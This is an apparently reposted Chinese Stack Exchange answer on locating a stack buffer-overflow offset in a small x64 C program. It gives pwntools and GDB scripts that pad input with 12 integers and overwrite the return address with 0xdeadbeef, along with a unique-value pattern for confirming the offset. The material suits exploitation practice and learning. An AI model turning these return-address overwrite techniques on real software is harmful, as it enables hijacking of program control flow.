如何借助GDB/GEF跟踪栈变化,定位缓冲区溢出偏移?
定位x64程序缓冲区溢出偏移的优化方法
针对你的场景,直接用连续整数输入很难精准定位崩溃点——溢出可能先覆盖栈上的局部变量(比如count),导致循环行为异常,而非立刻触发崩溃。以下是更高效的定位方案:
1. 先算理论偏移,再验证
你的C代码中,input是8个int的数组(占32字节),栈上紧跟的是count(4字节)、num(4字节),然后是函数帧指针rbp(8字节),最后是返回地址(8字节)。从数组起始到返回地址的总字节数为:32(input) + 4(count) + 4(num) + 8(rbp) = 48字节
对应12个int(每个int占4字节),也就是说第13个输入的整数会覆盖返回地址,触发崩溃。
你可以直接发送13个整数验证,最后一个用非法值(比如0xdeadbeef的十进制值3735928559):
from pwn import * context.log_level = "debug" io = gdb.debug('_file_') # 发送12个填充值,第13个覆盖返回地址 for i in range(12): io.clean() io.sendline(f"{i}") io.clean() io.sendline("3735928559") io.interactive()
2. 用唯一整数序列精准定位
如果理论计算和实际栈布局有差异,用唯一整数序列替代连续数,崩溃后通过寄存器值反推偏移:
from pwn import * context.log_level = "debug" # 生成20个唯一整数,确保每个数在栈上可区分 payload = [0x1000 + i for i in range(20)] io = gdb.debug('_file_', gdbscript=''' set pagination off # 捕获崩溃信号并打印寄存器 handle SIGSEGV stop print pass commands info registers x/20x $rbp-40 # 打印input数组及后续栈内容 end c ''') for num in payload: io.clean() io.sendline(f"{num}") io.interactive()
程序崩溃后,查看rip寄存器的值(比如0x100c),用该值减去起始值0x1000得到12,说明第13个输入(索引从0开始)覆盖了返回地址,即偏移为12个int。
3. 调试时高效观察栈变化
不要手动用ni/si单步,通过GDB脚本自动在每次输入后打印栈:
from pwn import * context.log_level = "debug" # 先通过objdump找到scanf执行后的地址,替换下面的main+xx io = gdb.debug('_file_', gdbscript=''' b *main+65 # 假设此地址是scanf返回后的位置 commands x/32x $rbp-40 # 打印input数组及后续32个栈单元 c end c ''') for i in range(15): io.clean() io.sendline(f"{i}") io.interactive()
这样每次输入后,GDB会自动输出栈内容,你能清晰看到输入的整数何时开始覆盖count、rbp及返回地址。
内容的提问来源于stack exchange,提问作者tbb
相关产品推荐
相关产品推荐

